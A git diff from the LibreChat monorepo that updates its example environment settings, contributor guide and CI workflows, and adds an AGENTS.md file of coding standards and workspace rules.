diff --git a/.env.example b/.env.example
index a6ff6157ce..e746737ea4 100644
--- a/.env.example
+++ b/.env.example
@@ -65,6 +65,9 @@ CONSOLE_JSON=false
DEBUG_LOGGING=true
DEBUG_CONSOLE=false
+# Enable memory diagnostics (logs heap/RSS snapshots every 60s, auto-enabled with --inspect)
+# MEM_DIAG=true
+
#=============#
# Permissions #
#=============#
@@ -193,10 +196,10 @@ GOOGLE_KEY=user_provided
# GOOGLE_AUTH_HEADER=true
# Gemini API (AI Studio)
-# GOOGLE_MODELS=gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash,gemini-2.0-flash-lite
+# GOOGLE_MODELS=gemini-3.1-pro-preview,gemini-3.1-pro-preview-customtools,gemini-3.1-flash-lite-preview,gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash,gemini-2.0-flash-lite
# Vertex AI
-# GOOGLE_MODELS=gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash-001,gemini-2.0-flash-lite-001
+# GOOGLE_MODELS=gemini-3.1-pro-preview,gemini-3.1-pro-preview-customtools,gemini-3.1-flash-lite-preview,gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash-001,gemini-2.0-flash-lite-001
# GOOGLE_TITLE_MODEL=gemini-2.0-flash-lite-001
@@ -243,10 +246,6 @@ GOOGLE_KEY=user_provided
# Option A: Use dedicated Gemini API key for image generation
# GEMINI_API_KEY=your-gemini-api-key
-# Option B: Use Vertex AI (no API key needed, uses service account)
-# Set this to enable Vertex AI and allow tool without requiring API keys
-# GEMINI_VERTEX_ENABLED=true
-
# Vertex AI model for image generation (defaults to gemini-2.5-flash-image)
# GEMINI_IMAGE_MODEL=gemini-2.5-flash-image
@@ -514,6 +513,9 @@ OPENID_ADMIN_ROLE_TOKEN_KIND=
OPENID_USERNAME_CLAIM=
# Set to determine which user info property returned from OpenID Provider to store as the User's name
OPENID_NAME_CLAIM=
+# Set to determine which user info claim to use as the email/identifier for user matching (e.g., "upn" for Entra ID)
+# When not set, defaults to: email -> preferred_username -> upn
+OPENID_EMAIL_CLAIM=
# Optional audience parameter for OpenID authorization requests
OPENID_AUDIENCE=
@@ -658,6 +660,9 @@ AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_REGION=
AWS_BUCKET_NAME=
+# Required for path-style S3-compatible providers (MinIO, Hetzner, Backblaze B2, etc.)
+# that don't support virtual-hosted-style URLs (bucket.endpoint). Not needed for AWS S3.
+# AWS_FORCE_PATH_STYLE=false
#========================#
# Azure Blob Storage #
@@ -672,7 +677,8 @@ AZURE_CONTAINER_NAME=files
#========================#
ALLOW_SHARED_LINKS=true
-ALLOW_SHARED_LINKS_PUBLIC=true
+# Allows unauthenticated access to shared links. Defaults to false (auth required) if not set.
+ALLOW_SHARED_LINKS_PUBLIC=false
#==============================#
# Static File Cache Control #
@@ -844,3 +850,24 @@ OPENWEATHER_API_KEY=
# Skip code challenge method validation (e.g., for AWS Cognito that supports S256 but doesn't advertise it)
# When set to true, forces S256 code challenge even if not advertised in .well-known/openid-configuration
# MCP_SKIP_CODE_CHALLENGE_CHECK=false
+
+# Circuit breaker: max connect/disconnect cycles before tripping (per server)
+# MCP_CB_MAX_CYCLES=7
+
+# Circuit breaker: sliding window (ms) for counting cycles
+# MCP_CB_CYCLE_WINDOW_MS=45000
+
+# Circuit breaker: cooldown (ms) after the cycle breaker trips
+# MCP_CB_CYCLE_COOLDOWN_MS=15000
+
+# Circuit breaker: max consecutive failed connection rounds before backoff
+# MCP_CB_MAX_FAILED_ROUNDS=3
+
+# Circuit breaker: sliding window (ms) for counting failed rounds
+# MCP_CB_FAILED_WINDOW_MS=120000
+
+# Circuit breaker: base backoff (ms) after failed round threshold is reached
+# MCP_CB_BASE_BACKOFF_MS=30000
+
+# Circuit breaker: max backoff cap (ms) for exponential backoff
+# MCP_CB_MAX_BACKOFF_MS=300000
diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md
index ad0a75ab9b..ae9e6d8e4b 100644
--- a/.github/CONTRIBUTING.md
+++ b/.github/CONTRIBUTING.md
@@ -26,18 +26,14 @@ Project maintainers have the right and responsibility to remove, edit, or reject
## 1. Development Setup
-1. Use Node.JS 20.x.
-2. Install typescript globally: `npm i -g typescript`.
-3. Run `npm ci` to install dependencies.
-4. Build the data provider: `npm run build:data-provider`.
-5. Build data schemas: `npm run build:data-schemas`.
-6. Build API methods: `npm run build:api`.
-7. Setup and run unit tests:
+1. Use Node.js v20.19.0+ or ^22.12.0 or >= 23.0.0.
+2. Run `npm run smart-reinstall` to install dependencies (uses Turborepo). Use `npm run reinstall` for a clean install, or `npm ci` for a fresh lockfile-based install.
+3. Build all compiled code: `npm run build`.
+4. Setup and run unit tests:
- Copy `.env.test`: `cp api/test/.env.test.example api/test/.env.test`.
- Run backend unit tests: `npm run test:api`.
- Run frontend unit tests: `npm run test:client`.
-8. Setup and run integration tests:
- - Build client: `cd client && npm run build`.
+5. Setup and run integration tests:
- Create `.env`: `cp .env.example .env`.
- Install [MongoDB Community Edition](https://www.mongodb.com/docs/manual/administration/install-community/), ensure that `mongosh` connects to your local instance.
- Run: `npx install playwright`, then `npx playwright install`.
@@ -48,11 +44,11 @@ Project maintainers have the right and responsibility to remove, edit, or reject
## 2. Development Notes
1. Before starting work, make sure your main branch has the latest commits with `npm run update`.
-3. Run linting command to find errors: `npm run lint`. Alternatively, ensure husky pre-commit checks are functioning.
+2. Run linting command to find errors: `npm run lint`. Alternatively, ensure husky pre-commit checks are functioning.
3. After your changes, reinstall packages in your current branch using `npm run reinstall` and ensure everything still works.
- Restart the ESLint server ("ESLint: Restart ESLint Server" in VS Code command bar) and your IDE after reinstalling or updating.
4. Clear web app localStorage and cookies before and after changes.
-5. For frontend changes, compile typescript before and after changes to check for introduced errors: `cd client && npm run build`.
+5. To check for introduced errors, build all compiled code: `npm run build`.
6. Run backend unit tests: `npm run test:api`.
7. Run frontend unit tests: `npm run test:client`.
8. Run integration tests: `npm run e2e`.
@@ -118,50 +114,45 @@ Apply the following naming conventions to branches, labels, and other Git-relate
- **JS/TS:** Directories and file names: Descriptive and camelCase. First letter uppercased for React files (e.g., `helperFunction.ts, ReactComponent.tsx`).
- **Docs:** Directories and file names: Descriptive and snake_case (e.g., `config_files.md`).
-## 7. TypeScript Conversion
+## 7. Coding Standards
+
+For detailed coding conventions, workspace boundaries, and architecture guidance, refer to the [`AGENTS.md`](../AGENTS.md) file at the project root. It covers code style, type safety, import ordering, iteration/performance expectations, frontend rules, testing, and development commands.
+
+## 8. TypeScript Conversion
1. **Original State**: The project was initially developed entirely in JavaScript (JS).
-2. **Frontend Transition**:
- - We are in the process of transitioning the frontend from JS to TypeScript (TS).
- - The transition is nearing completion.
- - This conversion is feasible due to React's capability to intermix JS and TS prior to code compilation. It's standard practice to compile/bundle the code in such scenarios.
+2. **Frontend**: Fully transitioned to TypeScript.
-3. **Backend Considerations**:
- - Transitioning the backend to TypeScript would be a more intricate process, especially for an established Express.js server.
-
- - **Options for Transition**:
- - **Single Phase Overhaul**: This involves converting the entire backend to TypeScript in one go. It's the most straightforward approach but can be disruptive, especially for larger codebases.
-
- - **Incremental Transition**: Convert parts of the backend progressively. This can be done by:
- - Maintaining a separate directory for TypeScript files.
- - Gradually migrating and testing individual modules or routes.
- - Using a build tool like `tsc` to compile TypeScript files independently until the entire transition is complete.
-
- - **Compilation Considerations**:
- - Introducing a compilation step for the server is an option. This would involve using tools like `ts-node` for development and `tsc` for production builds.
- - However, this is not a conventional approach for Express.js servers and could introduce added complexity, especially in terms of build and deployment processes.
-
- - **Current Stance**: At present, this backend transition is of lower priority and might not be pursued.
+3. **Backend**:
+ - The legacy Express.js server remains in `/api` as JavaScript.
+ - All new backend code is written in TypeScript under `/packages/api`, which is compiled and consumed by `/api`.
+ - Shared database logic lives in `/packages/data-schemas` (TypeScript).
+ - Shared frontend/backend API types and services live in `/packages/data-provider` (TypeScript).
+ - Minimize direct changes to `/api`; prefer adding TypeScript code to `/packages/api` and importing it.
-## 8. Module Import Conventions
+## 9. Module Import Conventions
-- `npm` packages first,
- - from longest line (top) to shortest (bottom)
+Imports are organized into three sections (in order):
-- Followed by typescript types (pertains to data-provider and client workspaces)
- - longest line (top) to shortest (bottom)
- - types from package come first
+1. **Package imports** — sorted from shortest to longest line length.
+ - `react` is always the first import.
+ - Multi-line (stacked) imports count their total character length across all lines for sorting.
-- Lastly, local imports
- - longest line (top) to shortest (bottom)
- - imports with alias `~` treated the same as relative import with respect to line length
+2. **`import type` imports** — sorted from longest to shortest line length.
+ - Package type imports come first, then local type imports.
+ - Line length sorting resets between the package and local sub-groups.
+
+3. **Local/project imports** — sorted from longest to shortest line length.
+ - Multi-line (stacked) imports count their total character length across all lines for sorting.
+ - Imports with alias `~` are treated the same as relative imports with respect to line length.
+
+- Consolidate value imports from the same module as much as possible.
+- Always use standalone `import type { ... }` for type imports; never use inline `type` keyword inside value imports (e.g., `import { Foo, type Bar }` is wrong).
**Note:** ESLint will automatically enforce these import conventions when you run `npm run lint --fix` or through pre-commit hooks.
----
-
-Please ensure that you adapt this summary to fit the specific context and nuances of your project.
+For the full set of coding standards, see [`AGENTS.md`](../AGENTS.md).
---
diff --git a/.github/workflows/backend-review.yml b/.github/workflows/backend-review.yml
index 2379b8fee7..038c90627e 100644
--- a/.github/workflows/backend-review.yml
+++ b/.github/workflows/backend-review.yml
@@ -9,48 +9,145 @@ on:
paths:
- 'api/**'
- 'packages/**'
+
+env:
+ NODE_ENV: CI
+ NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+
jobs:
- tests_Backend:
- name: Run Backend unit tests
- timeout-minutes: 60
+ build:
+ name: Build packages
runs-on: ubuntu-latest
- env:
- MONGO_URI: ${{ secrets.MONGO_URI }}
- OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
- JWT_SECRET: ${{ secrets.JWT_SECRET }}
- CREDS_KEY: ${{ secrets.CREDS_KEY }}
- CREDS_IV: ${{ secrets.CREDS_IV }}
- BAN_VIOLATIONS: ${{ secrets.BAN_VIOLATIONS }}
- BAN_DURATION: ${{ secrets.BAN_DURATION }}
- BAN_INTERVAL: ${{ secrets.BAN_INTERVAL }}
- NODE_ENV: CI
- NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+ timeout-minutes: 15
steps:
- uses: actions/checkout@v4
- - name: Use Node.js 20.x
+
+ - name: Use Node.js 20.19
uses: actions/setup-node@v4
with:
- node-version: 20
- cache: 'npm'
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ api/node_modules
+ packages/api/node_modules
+ packages/data-provider/node_modules
+ packages/data-schemas/node_modules
+ key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- - name: Install Data Provider Package
+ - name: Restore data-provider build cache
+ id: cache-data-provider
+ uses: actions/cache@v4
+ with:
+ path: packages/data-provider/dist
+ key: build-data-provider-${{ runner.os }}-${{ hashFiles('packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
+
+ - name: Build data-provider
+ if: steps.cache-data-provider.outputs.cache-hit != 'true'
run: npm run build:data-provider
- - name: Install Data Schemas Package
+ - name: Restore data-schemas build cache
+ id: cache-data-schemas
+ uses: actions/cache@v4
+ with:
+ path: packages/data-schemas/dist
+ key: build-data-schemas-${{ runner.os }}-${{ hashFiles('packages/data-schemas/src/**', 'packages/data-schemas/tsconfig*.json', 'packages/data-schemas/rollup.config.js', 'packages/data-schemas/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
+
+ - name: Build data-schemas
+ if: steps.cache-data-schemas.outputs.cache-hit != 'true'
run: npm run build:data-schemas
- - name: Install API Package
+ - name: Restore api build cache
+ id: cache-api
+ uses: actions/cache@v4
+ with:
+ path: packages/api/dist
+ key: build-api-${{ runner.os }}-${{ hashFiles('packages/api/src/**', 'packages/api/tsconfig*.json', 'packages/api/server-rollup.config.js', 'packages/api/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json', 'packages/data-schemas/src/**', 'packages/data-schemas/tsconfig*.json', 'packages/data-schemas/rollup.config.js', 'packages/data-schemas/package.json') }}
+
+ - name: Build api
+ if: steps.cache-api.outputs.cache-hit != 'true'
run: npm run build:api
- - name: Create empty auth.json file
- run: |
- mkdir -p api/data
- echo '{}' > api/data/auth.json
+ - name: Upload data-provider build
+ uses: actions/upload-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+ retention-days: 2
- - name: Check for Circular dependency in rollup
+ - name: Upload data-schemas build
+ uses: actions/upload-artifact@v4
+ with:
+ name: build-data-schemas
+ path: packages/data-schemas/dist
+ retention-days: 2
+
+ - name: Upload api build
+ uses: actions/upload-artifact@v4
+ with:
+ name: build-api
+ path: packages/api/dist
+ retention-days: 2
+
+ circular-deps:
+ name: Circular dependency checks
+ needs: build
+ runs-on: ubuntu-latest
+ timeout-minutes: 10
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Use Node.js 20.19
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ api/node_modules
+ packages/api/node_modules
+ packages/data-provider/node_modules
+ packages/data-schemas/node_modules
+ key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+ - name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
+ run: npm ci
+
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Download data-schemas build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-schemas
+ path: packages/data-schemas/dist
+
+ - name: Rebuild @librechat/api and check for circular dependencies
+ run: |
+ output=$(npm run build:api 2>&1)
+ echo "$output"
+ if echo "$output" | grep -q "Circular depend"; then
+ echo "Error: Circular dependency detected in @librechat/api!"
+ exit 1
+ fi
+
+ - name: Detect circular dependencies in rollup
working-directory: ./packages/data-provider
run: |
output=$(npm run rollup:api)
@@ -60,17 +157,201 @@ jobs:
exit 1
fi
+ test-api:
+ name: 'Tests: api'
+ needs: build
+ runs-on: ubuntu-latest
+ timeout-minutes: 15
+ env:
+ MONGO_URI: ${{ secrets.MONGO_URI }}
+ OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
+ JWT_SECRET: ${{ secrets.JWT_SECRET }}
+ CREDS_KEY: ${{ secrets.CREDS_KEY }}
+ CREDS_IV: ${{ secrets.CREDS_IV }}
+ BAN_VIOLATIONS: ${{ secrets.BAN_VIOLATIONS }}
+ BAN_DURATION: ${{ secrets.BAN_DURATION }}
+ BAN_INTERVAL: ${{ secrets.BAN_INTERVAL }}
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Use Node.js 20.19
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ api/node_modules
+ packages/api/node_modules
+ packages/data-provider/node_modules
+ packages/data-schemas/node_modules
+ key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+ - name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
+ run: npm ci
+
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Download data-schemas build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-schemas
+ path: packages/data-schemas/dist
+
+ - name: Download api build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-api
+ path: packages/api/dist
+
+ - name: Create empty auth.json file
+ run: |
+ mkdir -p api/data
+ echo '{}' > api/data/auth.json
+
- name: Prepare .env.test file
run: cp api/test/.env.test.example api/test/.env.test
- name: Run unit tests
run: cd api && npm run test:ci
- - name: Run librechat-data-provider unit tests
+ test-data-provider:
+ name: 'Tests: data-provider'
+ needs: build
+ runs-on: ubuntu-latest
+ timeout-minutes: 10
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Use Node.js 20.19
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ api/node_modules
+ packages/api/node_modules
+ packages/data-provider/node_modules
+ packages/data-schemas/node_modules
+ key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+ - name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
+ run: npm ci
+
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Run unit tests
run: cd packages/data-provider && npm run test:ci
- - name: Run @librechat/data-schemas unit tests
+ test-data-schemas:
+ name: 'Tests: data-schemas'
+ needs: build
+ runs-on: ubuntu-latest
+ timeout-minutes: 10
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Use Node.js 20.19
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ api/node_modules
+ packages/api/node_modules
+ packages/data-provider/node_modules
+ packages/data-schemas/node_modules
+ key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+ - name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
+ run: npm ci
+
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Download data-schemas build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-schemas
+ path: packages/data-schemas/dist
+
+ - name: Run unit tests
run: cd packages/data-schemas && npm run test:ci
- - name: Run @librechat/api unit tests
+ test-packages-api:
+ name: 'Tests: @librechat/api'
+ needs: build
+ runs-on: ubuntu-latest
+ timeout-minutes: 10
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Use Node.js 20.19
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ api/node_modules
+ packages/api/node_modules
+ packages/data-provider/node_modules
+ packages/data-schemas/node_modules
+ key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+ - name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
+ run: npm ci
+
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Download data-schemas build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-schemas
+ path: packages/data-schemas/dist
+
+ - name: Download api build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-api
+ path: packages/api/dist
+
+ - name: Run unit tests
run: cd packages/api && npm run test:ci
diff --git a/.github/workflows/frontend-review.yml b/.github/workflows/frontend-review.yml
index 989e2e4abe..9c2d4a37b1 100644
--- a/.github/workflows/frontend-review.yml
+++ b/.github/workflows/frontend-review.yml
@@ -2,7 +2,7 @@ name: Frontend Unit Tests
on:
pull_request:
- branches:
+ branches:
- main
- dev
- dev-staging
@@ -11,51 +11,200 @@ on:
- 'client/**'
- 'packages/data-provider/**'
+env:
+ NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+
jobs:
- tests_frontend_ubuntu:
- name: Run frontend unit tests on Ubuntu
- timeout-minutes: 60
+ build:
+ name: Build packages
runs-on: ubuntu-latest
- env:
- NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+ timeout-minutes: 15
steps:
- uses: actions/checkout@v4
- - name: Use Node.js 20.x
+
+ - name: Use Node.js 20.19
uses: actions/setup-node@v4
with:
- node-version: 20
- cache: 'npm'
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ client/node_modules
+ packages/client/node_modules
+ packages/data-provider/node_modules
+ key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- - name: Build Client
- run: npm run frontend:ci
+ - name: Restore data-provider build cache
+ id: cache-data-provider
+ uses: actions/cache@v4
+ with:
+ path: packages/data-provider/dist
+ key: build-data-provider-${{ runner.os }}-${{ hashFiles('packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
+
+ - name: Build data-provider
+ if: steps.cache-data-provider.outputs.cache-hit != 'true'
+ run: npm run build:data-provider
+
+ - name: Restore client-package build cache
+ id: cache-client-package
+ uses: actions/cache@v4
+ with:
+ path: packages/client/dist
+ key: build-client-package-${{ runner.os }}-${{ hashFiles('packages/client/src/**', 'packages/client/tsconfig*.json', 'packages/client/rollup.config.js', 'packages/client/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
+
+ - name: Build client-package
+ if: steps.cache-client-package.outputs.cache-hit != 'true'
+ run: npm run build:client-package
+
+ - name: Upload data-provider build
+ uses: actions/upload-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+ retention-days: 2
+
+ - name: Upload client-package build
+ uses: actions/upload-artifact@v4
+ with:
+ name: build-client-package
+ path: packages/client/dist
+ retention-days: 2
+
+ test-ubuntu:
+ name: 'Tests: Ubuntu'
+ needs: build
+ runs-on: ubuntu-latest
+ timeout-minutes: 15
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Use Node.js 20.19
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ client/node_modules
+ packages/client/node_modules
+ packages/data-provider/node_modules
+ key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+ - name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
+ run: npm ci
+
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Download client-package build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-client-package
+ path: packages/client/dist
- name: Run unit tests
run: npm run test:ci --verbose
working-directory: client
- tests_frontend_windows:
- name: Run frontend unit tests on Windows
- timeout-minutes: 60
+ test-windows:
+ name: 'Tests: Windows'
+ needs: build
runs-on: windows-latest
- env:
- NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+ timeout-minutes: 20
steps:
- uses: actions/checkout@v4
- - name: Use Node.js 20.x
+
+ - name: Use Node.js 20.19
uses: actions/setup-node@v4
with:
- node-version: 20
- cache: 'npm'
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ client/node_modules
+ packages/client/node_modules
+ packages/data-provider/node_modules
+ key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- - name: Build Client
- run: npm run frontend:ci
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Download client-package build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-client-package
+ path: packages/client/dist
- name: Run unit tests
run: npm run test:ci --verbose
- working-directory: client
\ No newline at end of file
+ working-directory: client
+
+ build-verify:
+ name: Vite build verification
+ needs: build
+ runs-on: ubuntu-latest
+ timeout-minutes: 15
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Use Node.js 20.19
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ client/node_modules
+ packages/client/node_modules
+ packages/data-provider/node_modules
+ key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+ - name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
+ run: npm ci
+
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Download client-package build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-client-package
+ path: packages/client/dist
+
+ - name: Build client
+ run: cd client && npm run build:ci
diff --git a/AGENTS.md b/AGENTS.md
new file mode 100644
index 0000000000..ec44607aa7
--- /dev/null
+++ b/AGENTS.md
@@ -0,0 +1,166 @@
+# LibreChat
+
+## Project Overview
+
+LibreChat is a monorepo with the following key workspaces:
+
+| Workspace | Language | Side | Dependency | Purpose |
+|---|---|---|---|---|
+| `/api` | JS (legacy) | Backend | `packages/api`, `packages/data-schemas`, `packages/data-provider`, `@librechat/agents` | Express server — minimize changes here |
+| `/packages/api` | **TypeScript** | Backend | `packages/data-schemas`, `packages/data-provider` | New backend code lives here (TS only, consumed by `/api`) |
+| `/packages/data-schemas` | TypeScript | Backend | `packages/data-provider` | Database models/schemas, shareable across backend projects |
+| `/packages/data-provider` | TypeScript | Shared | — | Shared API types, endpoints, data-service — used by both frontend and backend |
+| `/client` | TypeScript/React | Frontend | `packages/data-provider`, `packages/client` | Frontend SPA |
+| `/packages/client` | TypeScript | Frontend | `packages/data-provider` | Shared frontend utilities |
+
+The source code for `@librechat/agents` (major backend dependency, same team) is at `/home/danny/agentus`.
+
+---
+
+## Workspace Boundaries
+
+- **All new backend code must be TypeScript** in `/packages/api`.
+- Keep `/api` changes to the absolute minimum (thin JS wrappers calling into `/packages/api`).
+- Database-specific shared logic goes in `/packages/data-schemas`.
+- Frontend/backend shared API logic (endpoints, types, data-service) goes in `/packages/data-provider`.
+- Build data-provider from project root: `npm run build:data-provider`.
+
+---
+
+## Code Style
+
+### Structure and Clarity
+
+- **Never-nesting**: early returns, flat code, minimal indentation. Break complex operations into well-named helpers.
+- **Functional first**: pure functions, immutable data, `map`/`filter`/`reduce` over imperative loops. Only reach for OOP when it clearly improves domain modeling or state encapsulation.
+- **No dynamic imports** unless absolutely necessary.
+
+### DRY
+
+- Extract repeated logic into utility functions.
+- Reusable hooks / higher-order components for UI patterns.
+- Parameterized helpers instead of near-duplicate functions.
+- Constants for repeated values; configuration objects over duplicated init code.
+- Shared validators, centralized error handling, single source of truth for business rules.
+- Shared typing system with interfaces/types extending common base definitions.
+- Abstraction layers for external API interactions.
+
+### Iteration and Performance
+
+- **Minimize looping** — especially over shared data structures like message arrays, which are iterated frequently throughout the codebase. Every additional pass adds up at scale.
+- Consolidate sequential O(n) operations into a single pass whenever possible; never loop over the same collection twice if the work can be combined.
+- Choose data structures that reduce the need to iterate (e.g., `Map`/`Set` for lookups instead of `Array.find`/`Array.includes`).
+- Avoid unnecessary object creation; consider space-time tradeoffs.
+- Prevent memory leaks: careful with closures, dispose resources/event listeners, no circular references.
+
+### Type Safety
+
+- **Never use `any`**. Explicit types for all parameters, return values, and variables.
+- **Limit `unknown`** — avoid `unknown`, `Record`, and `as unknown as T` assertions. A `Record` almost always signals a missing explicit type definition.
+- **Don't duplicate types** — before defining a new type, check whether it already exists in the project (especially `packages/data-provider`). Reuse and extend existing types rather than creating redundant definitions.
+- Use union types, generics, and interfaces appropriately.
+- All TypeScript and ESLint warnings/errors must be addressed — do not leave unresolved diagnostics.
+
+### Comments and Documentation
+
+- Write self-documenting code; no inline comments narrating what code does.
+- JSDoc only for complex/non-obvious logic or intellisense on public APIs.
+- Single-line JSDoc for brief docs, multi-line for complex cases.
+- Avoid standalone `//` comments unless absolutely necessary.
+
+### Import Order
+
+Imports are organized into three sections:
+
+1. **Package imports** — sorted shortest to longest line length (`react` always first).
+2. **`import type` imports** — sorted longest to shortest (package types first, then local types; length resets between sub-groups).
+3. **Local/project imports** — sorted longest to shortest.
+
+Multi-line imports count total character length across all lines. Consolidate value imports from the same module. Always use standalone `import type { ... }` — never inline `type` inside value imports.
+
+### JS/TS Loop Preferences
+
+- **Limit looping as much as possible.** Prefer single-pass transformations and avoid re-iterating the same data.
+- `for (let i = 0; ...)` for performance-critical or index-dependent operations.
+- `for...of` for simple array iteration.
+- `for...in` only for object property enumeration.
+
+---
+
+## Frontend Rules (`client/src/**/*`)
+
+### Localization
+
+- All user-facing text must use `useLocalize()`.
+- Only update English keys in `client/src/locales/en/translation.json` (other languages are automated externally).
+- Semantic key prefixes: `com_ui_`, `com_assistants_`, etc.
+
+### Components
+
+- TypeScript for all React components with proper type imports.
